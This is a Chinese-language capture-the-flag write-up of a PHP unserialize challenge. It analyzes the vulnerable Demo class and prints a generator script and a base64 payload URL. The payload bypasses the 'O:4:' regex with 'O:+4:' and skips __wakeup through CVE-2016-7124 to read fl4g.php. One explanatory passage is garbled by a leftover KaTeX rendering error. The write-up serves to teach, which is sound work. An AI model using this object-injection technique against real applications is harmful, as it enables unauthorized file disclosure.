| 题目源代码如下。 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
 代码分析: <?php 
class Demo { 								
    private $file = 'index.php';			
    public function __construct($file) { 	
        $this->file = $file; 				
    }
    function __destruct() { 				
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 					
        if ($this->file != 'index.php') { / 在对象反序列化的时候,判断$file属性的值是否为index.php
            
            $this->file = 'index.php'; 		
        } 
    } 
}
if (isset($_GET['var'])) { 					
    $var = base64_decode($_GET['var']); 	
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 				
    } else {								
        @unserialize($var); 
    } 
} else { 									
    highlight_file("index.php"); 
} 
?>
 ??分析代码可知,我们的目标是fl4g.php这一文件,输出文件的函数只有 ==echo @highlight_file(KaTeX parse error: Expected group after '_' at position 48: …个程序生命期结束时调用析构函数_?_destruct(),此时file === “fl4g.php”。 ??对程序进行逆推,如果我们能够拿到flag,执行的语句只能是 @unserialize($var); 而不可能是 highlight_file(“index.php”); 或者 die(‘stop hacking!’); 。因此我们要对"fl4g.php"进行序列化,结果为 O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
 ??正好匹配正则表达式,如果我们想让程序执行 @unserialize($var); 语句,则必须绕过preg_match函数。正则表达式匹配的是"O:4:"这一部分,而我们知道,4 = +4,因此我们将"O:4:"修改为"O:+4:"即可成功绕过preg_match函数而不会影响反序列化的结果。 ??对于unserialize函数,若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。而Demo类中恰好定义了__wakeup()魔术方法,因此我们要绕过__wakeup()魔术方法,使其不会执行,这里利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。 ??最后,由于源码中有base64_decode()函数,我们再对payload进行一次Base64编码即可得到最终的payload。下面是获取payload的代码。 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            
            $this->file = 'index.php'; 
        } 
    } 
}
$A = new Demo("fl4g.php");
$b = serialize($A);
echo "$b\n";
$b = str_replace("O:4", "O:+4",$b);
echo "$b\n";
$b = str_replace(":1:", ":2:", $b);
echo "$b\n";
$b = base64_encode($b);
echo "$b";
?>
 输出结果为: O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
 在url中构造 /?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 即可 |